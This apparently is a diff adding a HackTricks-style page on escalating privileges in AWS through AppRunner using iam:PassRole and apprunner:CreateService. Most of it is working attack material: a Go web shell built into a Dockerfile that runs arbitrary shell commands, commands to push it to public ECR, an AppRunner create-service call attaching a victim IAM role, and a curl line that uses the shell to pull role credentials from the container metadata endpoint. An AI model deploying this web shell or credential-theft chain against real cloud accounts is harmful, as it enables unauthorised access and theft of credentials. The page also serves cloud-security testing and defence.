|
| 1 | +# AWS - AppRunner Privesc |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## AppRunner |
| 6 | + |
| 7 | +### `iam:PassRole`, `apprunner:CreateService` |
| 8 | + |
| 9 | +An attacker with these permissions can create an AppRunner service with an attached IAM role, potentially escalating privileges by accessing the role's credentials. |
| 10 | + |
| 11 | +The attacker first creates a Dockerfile that serves as a web shell to execute arbitrary commands on the AppRunner container. |
| 12 | + |
| 13 | +```Dockerfile |
| 14 | +FROM golang:1.24-bookworm |
| 15 | +WORKDIR /app |
| 16 | +RUN apt-get update && apt-get install -y ca-certificates curl |
| 17 | +RUN cat <<'EOF' > main.go |
| 18 | +package main |
| 19 | + |
| 20 | +import ( |
| 21 | + "fmt" |
| 22 | + "net/http" |
| 23 | + "os/exec" |
| 24 | +) |
| 25 | + |
| 26 | +func main() { |
| 27 | + http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { |
| 28 | + command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) |
| 29 | + output, err := command.CombinedOutput() |
| 30 | + if err != nil { |
| 31 | + fmt.Fprint(w, err.Error(), output) |
| 32 | + return |
| 33 | + } |
| 34 | + |
| 35 | + fmt.Fprint(w, string(output)) |
| 36 | + }) |
| 37 | + http.ListenAndServe("0.0.0.0:3000", nil) |
| 38 | +} |
| 39 | +EOF |
| 40 | +RUN go mod init test && go build -o main . |
| 41 | +EXPOSE 3000 |
| 42 | +CMD ["./main"] |
| 43 | +``` |
| 44 | + |
| 45 | +Then, push this image to an ECR repository. |
| 46 | +By pushing the image to a public repository in an AWS account controlled by the attacker, privilege escalation is possible even if the victim's account doesn't have permissions to manipulate ECR. |
| 47 | + |
| 48 | +```sh |
| 49 | +IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest |
| 50 | +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . |
| 51 | +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws |
| 52 | +docker push $IMAGE_NAME |
| 53 | +docker logout public.ecr.aws |
| 54 | +``` |
| 55 | + |
| 56 | +Next, the attacker creates an AppRunner service configured with this web shell image and the IAM Role they want to exploit. |
| 57 | + |
| 58 | +```bash |
| 59 | +aws apprunner create-service \ |
| 60 | + --service-name malicious-service \ |
| 61 | + --source-configuration '{ |
| 62 | + "ImageRepository": { |
| 63 | + "ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest", |
| 64 | + "ImageRepositoryType": "ECR_PUBLIC", |
| 65 | + "ImageConfiguration": { "Port": "3000" } |
| 66 | + } |
| 67 | + }' \ |
| 68 | + --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ |
| 69 | + --query Service.ServiceUrl |
| 70 | +``` |
| 71 | + |
| 72 | +After waiting for the service creation to complete, use the web shell to retrieve container credentials and obtain the permissions of the IAM Role attached to AppRunner. |
| 73 | + |
| 74 | +```sh |
| 75 | +curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' |
| 76 | +``` |
| 77 | + |
| 78 | +**Potential Impact:** Direct privilege escalation to any IAM role that can be attached to AppRunner services. |
| 79 | + |
| 80 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments